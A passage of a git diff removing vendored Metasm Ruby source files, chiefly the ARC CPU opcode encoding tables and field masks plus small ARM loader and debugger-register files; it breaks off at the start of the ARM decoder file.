@base, @disp, @size = base, disp, sz - end - - def symbolic(orig) - b = @base - b = b.symbolic if b.kind_of? Reg - - if disp - o = @disp - o = o.symbolic if o.kind_of? Reg - e = Expression[b, :+, o].reduce - else - e = Expression[b].reduce - end - - Indirection[e, @size, orig] - end - - include Renderable - - def render - if @disp and @disp != 0 - ['[', @base, ', ', @disp, ']'] - else - ['[', @base, ']'] - end - end - end -end -end diff --git a/lib/metasm/metasm/cpu/arc/opcodes.rb b/lib/metasm/metasm/cpu/arc/opcodes.rb deleted file mode 100644 index 66417d93fd..0000000000 --- a/lib/metasm/metasm/cpu/arc/opcodes.rb +++ /dev/null @@ -1,588 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/arc/main' - -module Metasm -class ARC - def addop32(name, bin, *args) - addop(:ac32, name, bin, *args) - end - - def addop16(name, bin, *args) - addop(:ac16, name, bin, *args) - end - - def addop(mode, name, bin, *args) - o = Opcode.new(name) - o.bin = bin - args.each { |a| - o.args << a if @fields_mask[a] - o.props[a] = true if @valid_props[a] - o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] - } - (mode == :ac16) ? (@opcode_list16 << o) : (@opcode_list32 << o) - end - - def init_opcode_list - @opcode_list16 = [] - @opcode_list32 = [] - - @valid_props.update :flag_update => true, :delay_slot => true - @cond_suffix = [''] + %w[z nz p n cs cc vs vc gt ge lt le hi ls pnz] - #The remaining 16 condition codes (10-1F) are available for extension - @cond_suffix += (0x10..0x1f).map{ |i| "extcc#{i.to_s(16)}" } - - # Compact 16-bits operands field masks - fields_mask16 = { - :ca => 0x7, :cb => 0x7, :cb2 => 0x7, :cb3 => 0x7, :cc => 0x7, - :cu => 0x1f, - :ch => 0b11100111, - - # immediate (un)signed - :cu3 => 0x7, :cu8 => 0xff, - # cu7 is 32-bit aligned, cu6 is 16-bit aligned, cu6 is 8-bit aligned - :cu5 => 0x1f, :cu5ee => 0x1f, :cu6 => 0x3f, :cu7 => 0x7f, - - :cs9 => 0x1ff, :cs9ee => 0x1ff, :cs10 => 0x1ff, :cs11 => 0x1ff, - - # signed displacement - :cdisps7=> 0x3f, :cdisps8 => 0x7f, :cdisps10 => 0x1ff, :cdisps13 => 0x7FF, - - # memref [b+u], [sp,u], etc. - :@cb => 0x7, :@cbu7 => 0b11100011111, :@cbu6 => 0b11100011111, :@cbu5 => 0b11100011111, - :@cspu7 => 0b11111, :@cbcc => 0b111111, - :@gps9 => 0x1ff, :@gps10 => 0x1ff, :@gps11 => 0x1ff, - - # implicit operands - :climm => 0x0, :cr0 => 0x0, - :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0 - } - - fields_shift16 = { - :ca => 0x0, :cb => 0x8, :cb2 => 0x8, :cb3 => 0x8, :cc => 0x5, - :cu => 0x0, - - # immediate (un)signed - :ch => 0x0, - :cu3 => 0x0, :cu5 => 0, :cu5ee => 0, :cu6 => 5, :cu7 => 0x0, :cu8 => 0x0, - :cs9 => 0x0, :cs9ee => 0x0, :cs10 => 0x0, :cs11 => 0x0, - - # signed displacement - :cdisps7=> 0x0, :cdisps8 => 0x0, :cdisps10 => 0x0, :cdisps13 => 0x0, - - # memref [b+u] - :@cb => 0x8, :@cbu7 => 0x0, :@cbu6 => 0x0, :@cbu5 => 0x0, - :@cspu7 => 0x0, :@cbcc => 0x5, - :@gps9 => 0x0, :@gps10 => 0x0, :@gps11 => 0x0, - - # implicit operands - :climm => 0x0, :cr0 => 0x0, - :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0, - } - - fields_mask32 = { - :a => 0x3f, :b => 0b111000000000111, :bext => 0b111000000000111, - :c => 0x3f, :@c => 0x3f, :cext => 0x3f, :@cext => 0x3f, - - :u6 => 0x3f, :u6e => 0x3f, - :s8e => 0x1fd, :s9 => 0x7f, - :s12 => 0xfff, :s12e => 0xfff, - :s21e => 0x1ffBff, :s21ee => 0x1ff3ff, - :s25e => 0x7feffcf, :s25ee => 0x7fcffcf, - - :@bs9 => 0x7fff, :@bc => 0x1ff, :@bextcext => 0x1C01FF, - - :limm => 0x0, :@limm => 0x0, - :@limmc => 0x3f, :@blimm => 0x7, - - :auxlimm => 0x0, :auxs12 => 0xfff, - - :ccond => 0x1f, #condition codes - :delay5 => 1, :delay16 => 1,# delay slot - :flags15 => 0x1, :flags16 => 0x1, - :signext6 => 0x1, :signext16 => 0x1, - :cache5 => 0x1, :cache11 => 0x1, :cache16 => 0x1, # data cache mode field - :sz1 => 0x3, :sz7 => 0x3, :sz16 => 0x3, :sz17 => 0x3, #data size field - :wb3 => 0x3, :wb9 => 0x3, :wb22 => 0x3, #write-back flag - :zero => 0x0, :b2 => 0x0, :@ilink1 => 0x0, :@ilink2 => 0x0 - } - #FIXME - - fields_shift32 = { - :a => 0x0, :b => 0xC, :bext => 0xC, - :c => 0x6, :@c => 0x6, :cext => 0x6, :@cext => 0x6, - - :u6 => 0x6, :u6e =>0x6, - :s8e => 15, :s9 => 0x11, - :s12 => 0x0, :s12e => 0, - :s21e => 0x6, :s21ee => 0x6, - :s25e => 0, :s25ee => 0, - - :limm => 0x0, :@limm => 0x0, - :@limmc => 0x6, :@blimm => 0x18, - - :auxlimm => 0x0, :auxs12 => 0, - - :@bs9 => 12, :@bc => 6, :@bextcext => 6, - - :ccond => 0, #condition codes - :delay5 => 5, :delay16 => 16,# delay slot - :flags15 => 15, :flags16 => 16, - :signext6 => 6, :signext16 => 16, - :cache5 => 5, :cache11 => 11, :cache16 => 16, # data cache mode field - :sz1 => 1, :sz7 => 7, :sz16 => 16, :sz17 => 17, #data size field - :wb3 => 3, :wb9 => 9, :wb22 => 22, #write-back flag - :zero => 0x0, :b2 => 0x0, :@ilink1 => 0, :@ilink2 => 0, - } - - @fields_mask = fields_mask16.merge(fields_mask32) - @fields_shift = fields_shift16.merge(fields_shift32) - - init_arc_compact16() - init_arc_compact32() - - {16 => @opcode_list16, 32 => @opcode_list32} - end - - def add_artihm_op(op, majorcode, subcode, *flags) - # 0bxxxxxbbb00xxxxxxFBBBCCCCCCAAAAAA - addop32 op, 0b00000000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :cext, :flags15 - # 0bxxxxxbbb01xxxxxxFBBBuuuuuuAAAAAA - addop32 op, 0b00000000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15 - # 0bxxxxxbbb10xxxxxxFBBBssssssSSSSSS - addop32 op, 0b00000000100000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :s12, :flags15 - # 0bxxxxxbbb11xxxxxxFBBBCCCCCC0QQQQQ - addop32 op, 0b00000000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :cext, :ccond, :flags15 - # 0bxxxxxbbb11xxxxxxFBBBuuuuuu1QQQQQ - addop32 op, 0b00000000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15 - end - - def add_logical_op(op, majorcode, subcode, *flags) - # 0b00100bbb00xxxxxxFBBBCCCCCCAAAAAA - addop32 op, 0b00100000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :c, :flags15 - # 0b00100bbb01xxxxxxFBBBuuuuuuAAAAAA - addop32 op, 0b00100000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15 - # 0b00100bbb11xxxxxxFBBBCCCCCC0QQQQQ - # WTF - addop32 op, 0b00100000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :c, :ccond, :flags15 - # 0b00100bbb11xxxxxxFBBBuuuuuu1QQQQQ - addop32 op, 0b00100000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15 - end - - def add_artihm_op_reduce(op, majorcode, subcode) - # 0bxxxxxbbb00101111FBBBCCCCCCxxxxxx - addop32 op, 0b00000000001011110000000000000000 | majorcode << 0x1b | subcode, :b, :cext, :flags15 - # 0bxxxxxbbb01101111FBBBuuuuuuxxxxxx - addop32 op, 0b00000000011011110000000000000000 | majorcode << 0x1b | subcode, :b, :u6, :flags15 - end - - def add_condbranch_op(op, ccond) - # 0b00001bbbsssssss1SBBBUUUUUUN0xxxx - addop32 op, 0b00001000000000010000000000000000 | ccond, :bext, :cext, :s8e, :setip, :delay5 - # 0b00001bbbsssssss1SBBBUUUUUUN1xxxx - addop32 op, 0b00001000000000010000000000010000 | ccond, :b, :u6, :s8e, :setip, :delay5 - end - - def add_condjmp_op() - # 0b00100RRR1110000D0RRRCCCCCC0QQQQQ - addop32 'j', 0b00100000111000000000000000000000, :@cext, :ccond, :setip, :delay16 - # 0b00100RRR1110000D0RRRuuuuuu1QQQQQ - addop32 'j', 0b00100000111000000000000000100000, :u6, :ccond, :setip, :delay16 - # 0b00100RRR111000001RRR0111010QQQQQ - addop32 'j', 0b00100000111000001000011101000000, :@ilink1, :ccond, :setip, :flag_update - # 0b00100RRR111000001RRR0111100QQQQQ - addop32 'j', 0b00100000111000001000011110000000, :@ilink2, :ccond, :setip, :flag_update - end - - def add_condjmplink_op() - # 0b00100RRR111000100RRRCCCCCC0QQQQQ - addop32 'jl', 0b00100000111000100000000000000000, :@cext, :ccond, :setip, :saveip, :delay16 - # 0b00100RRR111000100RRRuuuuuu1QQQQQ - addop32 'jl', 0b00100000111000100000000000100000, :u6, :ccond, :setip, :saveip, :delay16 - end - - def init_arc_compact32 - - add_artihm_op_reduce 'abs', 0b00100, 0b001001 - add_artihm_op_reduce 'abss', 0b00101, 0b000101 - add_artihm_op_reduce 'abssw', 0b00101, 0b000100 - - add_artihm_op 'adc', 0b00100, 0b000001 - add_artihm_op 'add', 0b00100, 0b000000 - add_artihm_op 'add1', 0b00100, 0b010100 - add_artihm_op 'add2', 0b00100, 0b010101 - add_artihm_op 'add3', 0b00100, 0b010110 - add_artihm_op 'adds', 0b00101, 0b000110 - add_artihm_op 'addsw', 0b00101, 0b010101, :extended - add_artihm_op 'addsdw',0b00101, 0b101000, :extended - add_artihm_op 'and' ,0b00100, 0b000100 - - add_artihm_op_reduce 'asl', 0b00100, 0b000000 - - add_artihm_op 'asl', 0b00101, 0b000000, :extended - add_artihm_op 'asls', 0b00101, 0b001010, :extended - - add_artihm_op_reduce 'asr', 0b00100, 0b000001 - - add_artihm_op 'asr', 0b00101, 0b000010 - add_artihm_op 'asrs', 0b00101, 0b001011 - - # 0b00001bbbsssssss1SBBBCCCCCCN01110 - addop32 'bbit0', 0b00001000000000010000000000001110, :b, :c, :s9, :delay5, :setip - # 0b00001bbbsssssss1SBBBuuuuuuN11110 - addop32 'bbit0', 0b00001000000000010000000000011110, :b, :u6, :s9, :delay5, :setip - # 0b00001bbbsssssss1SBBBCCCCCCN01111 - addop32 'bbit1', 0b00001000000000010000000000001111, :b, :c, :s9, :delay5, :setip - # 0b00001bbbsssssss1SBBBuuuuuuN11111 - addop32 'bbit1', 0b00001000000000010000000000011111, :b, :u6, :s9, :delay5, :setip - - # 0b00000ssssssssss0SSSSSSSSSSNQQQQQ - addop32 'b', 0b00000000000000000000000000000000, :s21e, :ccond, :delay5, :setip - # 0b00000ssssssssss1SSSSSSSSSSNRtttt - addop32 'b', 0b00000000000000010000000000000000, :s25e, :delay5, :setip, :stopexec - # WTF: unknown encoding, bit 5 should be reserved - addop32 'b', 0b00000000000000010000000000010000, :s25e, :delay5, :setip, :stopexec - - add_logical_op 'bclr', 0b00100, 0b010000 - add_artihm_op 'bic', 0b00100, 0b000110 - - # 0b00001sssssssss00SSSSSSSSSSNQQQQQ - addop32 'bl', 0b00001000000000000000000000000000, :s21ee, :ccond, :delay5, :setip, :saveip - # 0b00001sssssssss10SSSSSSSSSSNRtttt - addop32 'bl', 0b00001000000000100000000000000000, :s25ee, :delay5, :setip, :saveip, :stopexec - - add_logical_op 'bmsk', 0b00100, 0b010011 - - add_condbranch_op 'breq', 0b0000 - add_condbranch_op 'brne', 0b0001 - add_condbranch_op 'brlt', 0b0010 - add_condbranch_op 'brge', 0b0011 - add_condbranch_op 'brlo', 0b0100 - add_condbranch_op 'brhs', 0b0101 - - addop32 'brk', 0b00100101011011110000000000111111, :stopexec - - add_logical_op 'bset', 0b00100, 0b001111 - - # 0b00100bbb110100011BBBCCCCCC0QQQQQ - addop32 'btst', 0b00100000110100011000000000000000, :bext, :c, :ccond - # 0b00100bbb110100011BBBuuuuuu1QQQQQ - addop32 'btst', 0b00100000110100011000000000100000, :b, :u6, :ccond - # WTF 0b00100bbb010100011BBBuuuuuu0QQQQQ - addop32 'btst', 0b00100000010100011000000000000000, :b, :u6, :ccond - - add_logical_op 'bxor', 0b00100, 0b010010 - - # 0b00100bbb100011001BBBssssssSSSSSS - addop32 'cmp', 0b00100000100011001000000000000000, :b, :s12 - # WTF unknown encoding ... - # 0b00100bbb010011001BBBssssssSSSSSS - addop32 'cmp', 0b00100000010011001000000000000000, :b, :s12 - # 0b00100bbb110011001BBBuuuuuu1QQQQQ - addop32 'cmp', 0b00100000110011001000000000100000, :b, :u6, :ccond - # WTF unknown encoding ... - # 0b00100bbb010011001BBBssssssSSSSSS - addop32 'cmp', 0b00100000000011001000000000000000, :bext, :cext, :ccond - # 0b00100bbb110011001BBBCCCCCC0QQQQQ - addop32 'cmp', 0b00100000110011001000000000000000, :bext, :cext, :ccond - - add_artihm_op 'divaw', 0b00101, 0b001000, :extended - - # 0b00100bbb00101111DBBBCCCCCC001100 - addop32 'ex', 0b00100000001011110000000000001100, :b, :@cext, :cache16 - # 0b00100bbb01101111DBBBuuuuuu001100 - addop32 'ex', 0b00100000011011110000000000001100, :b, :@u6, :cache16 - - add_artihm_op_reduce 'extb', 0b00100, 0b000111 - add_artihm_op_reduce 'extw', 0b00100, 0b001000 - - # WTF unknown encoding ... - # 0b00100rrr111010010RRRCCCCCC0QQQQQ - addop32 'flag', 0b00100000001010010000000000000000, :cext, :ccond, :flag_update - # 0b00100rrr111010010RRRuuuuuu1QQQQQ - addop32 'flag', 0b00100000001010010000000000100000, :u6, :ccond, :flag_update - # 0b00100rrr101010010RRRssssssSSSSSS - addop32 'flag', 0b00100000011010010000000000000000, :s12, :flag_update - - add_condjmp_op() - add_condjmplink_op() - - # 0b00100RRR001000000RRRCCCCCCRRRRRR - addop32 'j', 0b00100000001000000000000000000000, :@cext, :delay16, :setip, :stopexec - # 0b00100RRR011000000RRRuuuuuuRRRRRR - addop32 'j', 0b00100000011000000000000000000000, :u6, :delay16, :setip, :stopexec - # 0b00100RRR101000000RRRssssssSSSSSS - addop32 'j', 0b00100000101000000000000000000000, :s12, :delay16, :setip, :stopexec - # 0b00100RRR001000001RRR011101RRRRRR - addop32 'j.f', 0b00100000001000001000011101000000, :@ilink1, :flag_update, :setip, :stopexec - # 0b00100RRR001000001RRR011110RRRRRR - addop32 'j.f', 0b00100000001000001000011110000000, :@ilink2, :flag_update, :setip, :stopexec - - # 0b00100RRR0010001D0RRRCCCCCCRRRRRR - addop32 'jl', 0b00100000001000100000000000000000, :@cext, :delay16, :setip, :saveip, :stopexec - # 0b00100RRR0110001D0RRRuuuuuuRRRRRR - addop32 'jl', 0b00100000011000100000000000000000, :u6, :delay16, :setip, :saveip, :stopexec - # 0b00100RRR1010001D0RRRssssssSSSSSS - addop32 'jl', 0b00100000101000100000000000000000, :s12, :delay16, :setip, :saveip, :stopexec - - # 0b00010bbbssssssssSBBBDaaZZXAAAAAA - addop32 'ld', 0b00010000000000000000000000000000, :a, :@bs9, :sz7, :signext6, :wb9, :cache11 - - # 0b00100bbbaa110ZZXDBBBCCCCCCAAAAAA - addop32 'ld', 0b00100000001100000000000000000000, :a, :@bextcext, :sz17, :signext16, :wb22, :cache11 - - # 0b00100RRR111010000RRRuuuuuu1QQQQQ - addop32 'lp', 0b00100000111010000000000000100000, :u6e, :ccond, :setip - # 0b00100RRR101010000RRRssssssSSSSSS - addop32 'lp', 0b00100000101010000000000000000000, :s12e, :setip - - # 0b00100bbb001010100BBBCCCCCCRRRRRR - addop32 'lr', 0b00100000101010100000000000000000, :b, :@c - # 0b00100bbb001010100BBB111110RRRRRR - addop32 'lr', 0b00100000001010100000111110000000, :b, :auxlimm - # 0b00100bbb101010100BBBssssssSSSSSS - addop32 'lr', 0b00100000011010100000000000000000, :b, :auxs12 - # WTF unknown encoding ... - # 0b00100bbb101010100BBBssssssSSSSSS - addop32 'lr', 0b00100000101010100000000000000000, :b, :auxs12 - - add_artihm_op_reduce 'lsr', 0b00100, 0b000010 - - add_artihm_op 'lsr', 0b00101, 0b000001 - add_artihm_op 'max', 0b00100, 0b001000 - add_artihm_op 'min', 0b00100, 0b001001 - - # 0b00100bbb10001010FBBBssssssSSSSSS - addop32 'mov', 0b00100000100010100000000000000000, :b, :s12, :flags15 - # WTF unknown encoding ... - # 0b00100bbb01001010FBBBssssssSSSSSS - addop32 'mov', 0b00100000010010100000000000000000, :b, :s12, :flags15 - # 0b00100bbb11001010FBBBCCCCCC0QQQQQ - addop32 'mov', 0b00100000110010100000000000000000, :b, :cext, :ccond , :flags15 - # WTF unknown encoding .. - # 0b00100bbb00001010FBBBCCCCCC0QQQQQ - addop32 'mov', 0b00100000000010100000000000000000, :b, :cext, :ccond , :flags15 - # 0b00100bbb11001010FBBBuuuuuu1QQQQQ - addop32 'mov', 0b00100000110010100000000000100000, :b, :u6, :ccond , :flags15 - - add_artihm_op 'mpy', 0b00100, 0b011010, :extended - add_artihm_op 'mpyh', 0b00100, 0b011011, :extended - add_artihm_op 'mpyhu', 0b00100, 0b011100, :extended - add_artihm_op 'mpyu', 0b00100, 0b011101, :extended - - # WTF: neg instruction is not differenciated from a rsub :a, :b, :u6 - # : 0b00100bbb01001110FBBB000000AAAAAA - #addop32 'neg', 0b00100000010011100000000000000000, :a, :b, :flags15 - - # WTF: neg instruction is not differenciated from a rsub :b, :b2, :u6 - # 0b00100bbb11001110FBBB0000001QQQQQ - #addop32 'neg', 0b00100000110011100000000000100000, :b, :b2, :ccond , :flags15 - - add_artihm_op_reduce 'negs', 0b00101, 0b000111 - add_artihm_op_reduce 'negsw', 0b00101, 0b000110 - - # nop is an alias over mov null, 0 (mov - [:b, :s12, :flags15]) - addop32 'nop', 0b00100110010010100111000000000000 - - add_artihm_op_reduce 'norm', 0b00101, 0b000001 - add_artihm_op_reduce 'normw', 0b00101, 0b001000 - add_artihm_op_reduce 'not', 0b00100, 0b001010 - - add_artihm_op 'or', 0b00100, 0b000101 - - # 0b00010bbbssssssssSBBB0aa000111110 - addop32 'prefetch', 0b00010000000000000000000000111110, :@bs9, :wb - # 0b00100bbbaa1100000BBBCCCCCC111110 - addop32 'prefetch', 0b00100000001100000000000000111110, :@bextcext, :wb22 - - # 0b00100bbb100011011BBBssssssSSSSSS - addop32 'rcmp', 0b00100000100011011000000000000000, :b, :s12 - # 0b00100bbb110011011BBBCCCCCC0QQQQQ - addop32 'rcmp', 0b00100000110011011000000000000000, :bext, :cext, :ccond - # 0b00100bbb110011011BBBuuuuuu1QQQQQ - addop32 'rcmp', 0b00100000110011011000000000100000, :b, :u6, :ccond - - add_artihm_op_reduce 'rlc', 0b00100, 0b001011 - add_artihm_op_reduce 'rnd16', 0b00101, 0b000011 - add_artihm_op_reduce 'ror', 0b00100, 0b000011 - - add_artihm_op 'ror', 0b00101, 0b000011, :extended - - add_artihm_op_reduce 'rrc', 0b00100, 0b000100 - - add_artihm_op 'rsub', 0b00100, 0b001110 - - addop32 'rtie', 0b00100100011011110000000000111111, :setip, :stopexec - - add_artihm_op_reduce 'sat16', 0b00101, 0b000010 - - add_artihm_op 'sbc', 0b00100, 0b000011 - - add_artihm_op_reduce 'sexb', 0b00100, 0b000101 - add_artihm_op_reduce 'sexbw', 0b00100, 0b000110 - - # 0b00100001011011110000uuuuuu111111 - addop32 'sleep', 0b00100001011011110000000000111111, :u6 - - # 0b00100bbb001010110BBBCCCCCCRRRRRR - addop32 'sr', 0b00100000001010110000000000000000, :bext, :@cext - # 0b00100110101010110111CCCCCCRRRRRR - addop32 'sr', 0b00100000101010110000000000000000, :bext, :auxs12 - # WTF: unknown encoding - addop32 'sr', 0b00100000011010110000000000000000, :bext, :auxs12 - - # 0b00011bbbssssssssSBBBCCCCCCDaaZZR - addop32 'st', 0b00011000000000000000000000000000, :cext, :@bs9, :sz1, :wb3, :cache5 - - add_artihm_op 'sub', 0b00100, 0b000010 - add_artihm_op 'sub1', 0b00100, 0b010111 - add_artihm_op 'sub2', 0b00100, 0b011000 - add_artihm_op 'sub3', 0b00100, 0b011001 - - # WTF: same encoding as xor instructions - #add_artihm_op 'subs', 0b00100, 0b000111 - - add_artihm_op 'subsdw', 0b00101, 0b101001, :extended - - add_artihm_op_reduce 'swap', 0b00101, 0b000000 - - addop32 'swi', 0b00100010011011110000000000111111, :setip, :stopexec - addop32 'sync', 0b00100011011011110000000000111111 - - # 0b00100bbb100010111BBBssssssSSSSSS - addop32 'tst', 0b00100000100010111000000000000000, :b, :s12 - # 0b00100bbb110010111BBBCCCCCC0QQQQQ - addop32 'tst', 0b00100000110010111000000000000000, :bext, :cext, :ccond - # 0b00100bbb110010111BBBuuuuuu1QQQQQ - addop32 'tst', 0b00100000110010111000000000100000, :b, :u6, :ccond - - add_artihm_op 'xor', 0b00100, 0b000111 - end - - # ARCompact 16-bit instructions - def init_arc_compact16 - addop16 'abs_s', 0x7811, :cb, :cc - addop16 'add_s', 0x6018, :ca, :cb, :cc - addop16 'add_s', 0x7000, :cb, :cb2, :ch - addop16 'add_s', 0x6800, :cc, :cb, :cu3 - addop16 'add_s', 0xe000, :cb, :cb2, :cu7 - - # same encoding as add_s b,b,h - #addop16 'add_s', 0x70c7, :cb, :cb2, :climm - - addop16 'add_s', 0xc080, :cb, :sp, :cu5ee - addop16 'add_s', 0xc0a0, :sp, :sp2, :cu5ee - addop16 'add_s', 0xce00, :cr0, :gp, :cs9 - addop16 'add1_s', 0x7814, :cb, :cb2, :cc - addop16 'add2_s', 0x7815, :cb, :cb2, :cc - addop16 'add3_s', 0x7816, :cb, :cb2, :cc - addop16 'and_s', 0x7804, :cb, :cb2, :cc - addop16 'asl_s', 0x7818, :cb, :cb2, :cc - addop16 'asl_s', 0x6810, :cc, :cb, :cu3 - addop16 'asl_s', 0xb800, :cb, :cb2, :cu5 - addop16 'asl_s', 0x781b, :cb, :cc - addop16 'asr_s', 0x781a, :cb, :cb2, :cc - addop16 'asr_s', 0x6818, :cc, :cb, :cu3 - addop16 'asr_s', 0xb840, :cb, :cb2, :cu5 - addop16 'asr_s', 0x781c, :cb, :cc - addop16 'b_s', 0xf000, :cdisps10, :setip, :stopexec - addop16 'beq_s', 0xf200, :cdisps10, :setip - addop16 'bne_s', 0xf400, :cdisps10, :setip - addop16 'bgt_s', 0xf600, :cdisps7, :setip - addop16 'bge_s', 0xf640, :cdisps7, :setip - addop16 'blt_s', 0xf680, :cdisps7, :setip - addop16 'ble_s', 0xf6c0, :cdisps7, :setip - addop16 'bhi_s', 0xf700, :cdisps7, :setip - addop16 'bhs_s', 0xf740, :cdisps7, :setip - addop16 'blo_s', 0xf780, :cdisps7, :setip - addop16 'bls_s', 0xf7c0, :cdisps7, :setip - addop16 'bclr_s', 0xb8a0, :cb, :cb2, :cu5 - addop16 'bic_s', 0x7806, :cb, :cb2, :cc - addop16 'bl_s', 0xf800, :cdisps13, :setip, :saveip, :stopexec - addop16 'bmsk_s', 0xb8c0, :cb, :cb2, :cu5 - addop16 'breq_s', 0xe800, :cb, :zero, :cdisps8, :setip - addop16 'brne_s', 0xe880, :cb, :zero, :cdisps8, :setip - addop16 'brk_s', 0x7fff - addop16 'bset_s', 0xb880, :cb, :cb2, :cu5 - addop16 'btst_s', 0xb8e0, :cb, :cu5 - addop16 'cmp_s', 0x7010, :cb, :ch - addop16 'cmp_s', 0xe080, :cb, :cu7 - - # encoded over cmp_s b,h - # addop16 'cmp_s', 0x70d7, :cb, :limm - - addop16 'extb_s', 0x780f, :cb, :cc - addop16 'extw_s', 0x7810, :cb, :cc - addop16 'j_s', 0x7800, :@cb, :setip, :stopexec - addop16 'j_s.d', 0x7820, :@cb, :setip, :stopexec, :delay_slot - addop16 'j_s', 0x7ee0, :@blink, :setip, :stopexec - addop16 'j_s.d', 0x7fe0, :@blink, :setip, :stopexec, :delay_slot - addop16 'jeq_s', 0x7ce0, :@blink, :setip - addop16 'jne_s', 0x7de0, :@blink, :setip - addop16 'jl_s', 0x7840, :@cb, :setip, :saveip, :stopexec - addop16 'jl_s.d', 0x7860, :@cb, :setip, :saveip, :stopexec, :delay_slot - addop16 'ld_s', 0x6000, :ca, :@cbcc - addop16 'ldb_s', 0x6008, :ca, :@cbcc - addop16 'ldw_s', 0x6010, :ca, :@cbcc - addop16 'ld_s', 0x8000, :cc, :@cbu7 - addop16 'ldb_s', 0x8800, :cc, :@cbu5 - addop16 'ldw_s', 0x9000, :cc, :@cbu6 - addop16 'ldw_s.x', 0x9800, :cc, :@cbu6 - addop16 'ld_s', 0xc000, :cb, :@cspu7 - addop16 'ldb_s', 0xc020, :cb, :@cspu7 - addop16 'ld_s', 0xc800, :cr0, :@gps11 - addop16 'ldb_s', 0xca00, :cr0, :@gps9 - addop16 'ldw_s', 0xcc00, :cr0, :@gps10 - addop16 'ld_s', 0xd000, :cb, :@pclu10 - - # FIXME: exact same encoding as asl_s instructions - #addop16 'lsl_s', 0x7818, :cb, :cb2, :cc - #addop16 'lsl_s', 0x6810, :cc, :cb, :cu3 - #addop16 'lsl_s', 0xb800, :cb, :cb2, :cu5 - #addop16 'lsl_s', 0x781d, :cb, :cc - - addop16 'lsr_s', 0x7819, :cb, :cb2, :cc - addop16 'lsr_s', 0xb820, :cb, :cb2, :cu5 - addop16 'lsr_s', 0x781d, :cb, :cc - addop16 'mov_s', 0x7008, :cb, :ch - - # FIXME: same encoding as previous instruction - #addop16 'mov_s', 0x70cf, :cb, :limm - - addop16 'mov_s', 0xd800, :cb, :cu8 - addop16 'mov_s', 0x7018, :ch, :cb - - # TODO seems to overlap with previous instruction - addop16 'mov_s', 0x70df, :zero, :cb - addop16 'mul64_s', 0x780c, :zero, :cb, :cc - addop16 'neg_s', 0x7813, :cb, :cc - addop16 'not_s', 0x7812, :cb, :cc - addop16 'nop_s',0x78e0 - addop16 'unimp_s', 0x79e0 - addop16 'or_s', 0x7805, :cb, :cb2, :cc - addop16 'pop_s', 0xc0c1, :cb - addop16 'pop_s', 0xc0d1, :blink - addop16 'push_s', 0xc0e1, :cb - addop16 'push_s', 0xc0f1, :blink - addop16 'sexb_s', 0x780d, :cb, :cc - addop16 'sexw_s', 0x780e, :cb, :cc - addop16 'st_s', 0xc040, :cb, :@cspu7 - addop16 'stb_s', 0xc060, :cb, :@cspu7 - addop16 'st_s', 0xa000, :cc, :@cbu7 - addop16 'stb_s', 0xa800, :cc, :@cbu5 - addop16 'stw_s', 0xb000, :cc, :@cbu6 - addop16 'sub_s', 0x7802, :cb, :cb2, :cc - addop16 'sub_s', 0x6808, :cc, :cb, :cu3 - addop16 'sub_s', 0xb860, :cb, :cb2, :cu5 - addop16 'sub_s', 0xc1a0, :sp, :sp2, :cu5ee - addop16 'sub_s.ne', 0x78c0, :cb, :c2, :cb3 - addop16 'trap_s', 0x781E, :cu6, :setip, :stopexec - addop16 'tst_s', 0x780b, :cb, :cc - addop16 'xor_s', 0x7807, :cb, :cb2, :cc - end - -end -end diff --git a/lib/metasm/metasm/cpu/arm.rb b/lib/metasm/metasm/cpu/arm.rb deleted file mode 100644 index 29f78f8e3f..0000000000 --- a/lib/metasm/metasm/cpu/arm.rb +++ /dev/null @@ -1,14 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -class Metasm::ARM < Metasm::CPU -end - -require 'metasm/main' -require 'metasm/cpu/arm/parse' -require 'metasm/cpu/arm/encode' -require 'metasm/cpu/arm/decode' -require 'metasm/cpu/arm/render' -require 'metasm/cpu/arm/debug' diff --git a/lib/metasm/metasm/cpu/arm/debug.rb b/lib/metasm/metasm/cpu/arm/debug.rb deleted file mode 100644 index 6c115c47f4..0000000000 --- a/lib/metasm/metasm/cpu/arm/debug.rb +++ /dev/null @@ -1,39 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/arm/opcodes' - -module Metasm -class ARM - def dbg_register_pc - @dbg_register_pc ||= :pc - end - def dbg_register_flags - @dbg_register_flags ||= :flags - end - - def dbg_register_list - @dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc] - end - - def dbg_flag_list - @dbg_flag_list ||= [] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(32) - end - - def dbg_need_stepover(dbg, addr, di) - di and di.opcode.props[:saveip] - end - - def dbg_end_stepout(dbg, addr, di) - di and di.opcode.name == 'foobar' # TODO - end - -end -end diff --git a/lib/metasm/metasm/cpu/arm/decode.rb b/lib/metasm/metasm/cpu/arm/decode.rb deleted file mode 100644 index dae5f1093e..0000000000 --- a/lib/metasm/metasm/cpu/arm/decode.rb +++ /dev/null @@ -1,168 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 